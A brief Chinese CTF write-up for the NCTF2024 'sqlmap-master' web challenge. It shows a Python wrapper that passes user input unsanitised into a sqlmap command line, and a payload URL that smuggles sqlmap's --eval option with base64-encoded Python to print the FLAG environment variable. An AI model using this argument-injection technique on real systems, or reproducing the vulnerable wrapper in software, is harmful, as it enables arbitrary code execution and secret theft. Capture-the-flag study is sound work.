NCTF2024-Pwn13ss wp

image-20250325160908974

Web

sqlmap-master

  • 思路比较清晰,要不就是闭合执行命令,要不就是使用sqlmap特有的参数,借此执行命令

  • 本地调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import subprocess

def run_sqlmap():
# 获取用户输入的 URL
url = input("请输入要测试的 URL: ")

if not url:
print("错误: URL 是必填项")
return

# 构建命令
command = f'sqlmap -u {url} --batch --flush-session'

# 打印完整的命令
print(f"完整的命令: {command}")

# 打印分割后的命令
split_command = command.split()
print(f"分割后的命令: {split_command}")

# 执行命令
print("正在执行命令...")
process = subprocess.Popen(
split_command,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)

# 实时输出命令执行结果
while True:
output = process.stdout.readline()
if output == b'' and process.poll() is not None:
break
if output:
print(output.decode('utf-8').strip())

if __name__ == "__main__":
run_sqlmap()

img

  • payload
1
http://localhost:8000/?id=1 --eval=exec(__import__('base64').b64decode('aW1wb3J0IG9zOyBwcmludChvcy5nZXRlbnYoJ0ZMQUcnKSk='))

img


NCTF2024-Pwn13ss wp
https://xu17.top/2025/03/25/NCTF2025-Pwn13ss/
作者
XU17
发布于
2025年3月25日
许可协议
XU17